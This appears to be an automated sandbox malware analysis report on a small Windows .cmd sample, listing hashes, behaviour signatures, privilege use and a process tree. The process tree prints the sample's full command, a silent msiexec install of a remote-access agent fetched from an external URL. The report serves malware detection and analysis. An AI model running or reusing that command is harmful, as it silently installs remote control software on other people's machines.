Analysis
-
max time kernel
119s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
02-12-2024 17:00
Static task
static1
Behavioral task
behavioral1
Sample
1a8ab399acdb8561c1c59053f4de8fdebc12a4cfbea5ba513229ecb1d6bfe390.cmd
Resource
win7-20240903-en
windows7-x64
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
1a8ab399acdb8561c1c59053f4de8fdebc12a4cfbea5ba513229ecb1d6bfe390.cmd
Resource
win10v2004-20241007-en
windows10-2004-x64
23 signatures
150 seconds
General
-
Target
1a8ab399acdb8561c1c59053f4de8fdebc12a4cfbea5ba513229ecb1d6bfe390.cmd
-
Size
265B
-
MD5
552aac620854ab263f2cbfc738016667
-
SHA1
814694c7414aefc11517043112bb9c372a7c728b
-
SHA256
1a8ab399acdb8561c1c59053f4de8fdebc12a4cfbea5ba513229ecb1d6bfe390
-
SHA512
124ff66046e0aad66af6bb2782388aaca88a5efd1886ddcbf5494e07e50c9d9d3ed6b79905728366e259a8b297a25556b1a5c6f09e862f576d538901916ac4f3
Score
7/10
Malware Config
Signatures
-
Use of msiexec (install) with remote resource 1 IoCs
Processes:
msiexec.exepid Process 2512 msiexec.exe -
Blocklisted process makes network request 2 IoCs
Processes:
msiexec.exeflow pid Process 5 1712 msiexec.exe 6 1712 msiexec.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
msiexec.exepid Process 2512 msiexec.exe -
Suspicious use of AdjustPrivilegeToken 34 IoCs
Processes:
msiexec.exemsiexec.exedescription pid Process Token: SeShutdownPrivilege 2512 msiexec.exe Token: SeIncreaseQuotaPrivilege 2512 msiexec.exe Token: SeRestorePrivilege 1712 msiexec.exe Token: SeTakeOwnershipPrivilege 1712 msiexec.exe Token: SeSecurityPrivilege 1712 msiexec.exe Token: SeCreateTokenPrivilege 2512 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2512 msiexec.exe Token: SeLockMemoryPrivilege 2512 msiexec.exe Token: SeIncreaseQuotaPrivilege 2512 msiexec.exe Token: SeMachineAccountPrivilege 2512 msiexec.exe Token: SeTcbPrivilege 2512 msiexec.exe Token: SeSecurityPrivilege 2512 msiexec.exe Token: SeTakeOwnershipPrivilege 2512 msiexec.exe Token: SeLoadDriverPrivilege 2512 msiexec.exe Token: SeSystemProfilePrivilege 2512 msiexec.exe Token: SeSystemtimePrivilege 2512 msiexec.exe Token: SeProfSingleProcessPrivilege 2512 msiexec.exe Token: SeIncBasePriorityPrivilege 2512 msiexec.exe Token: SeCreatePagefilePrivilege 2512 msiexec.exe Token: SeCreatePermanentPrivilege 2512 msiexec.exe Token: SeBackupPrivilege 2512 msiexec.exe Token: SeRestorePrivilege 2512 msiexec.exe Token: SeShutdownPrivilege 2512 msiexec.exe Token: SeDebugPrivilege 2512 msiexec.exe Token: SeAuditPrivilege 2512 msiexec.exe Token: SeSystemEnvironmentPrivilege 2512 msiexec.exe Token: SeChangeNotifyPrivilege 2512 msiexec.exe Token: SeRemoteShutdownPrivilege 2512 msiexec.exe Token: SeUndockPrivilege 2512 msiexec.exe Token: SeSyncAgentPrivilege 2512 msiexec.exe Token: SeEnableDelegationPrivilege 2512 msiexec.exe Token: SeManageVolumePrivilege 2512 msiexec.exe Token: SeImpersonatePrivilege 2512 msiexec.exe Token: SeCreateGlobalPrivilege 2512 msiexec.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
cmd.exedescription pid Process procid_target PID 2528 wrote to memory of 2512 2528 cmd.exe 31 PID 2528 wrote to memory of 2512 2528 cmd.exe 31 PID 2528 wrote to memory of 2512 2528 cmd.exe 31 PID 2528 wrote to memory of 2512 2528 cmd.exe 31 PID 2528 wrote to memory of 2512 2528 cmd.exe 31
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\1a8ab399acdb8561c1c59053f4de8fdebc12a4cfbea5ba513229ecb1d6bfe390.cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:2528 -
C:\Windows\system32\msiexec.exemsiexec /i "https://HelpdeskSupport1723951882589.servicedesk.atera.com/GetAgent/Msi/?customerId=2&customerName=FUD&integratorLogin=wupdate10hotmail.com&accountId=001Q300000LYyQnIAL" /qn [email protected] CompanyId=2 AccountId=001Q300000LYyQnIAL2⤵
- Use of msiexec (install) with remote resource
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of AdjustPrivilegeToken
PID:2512
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:1712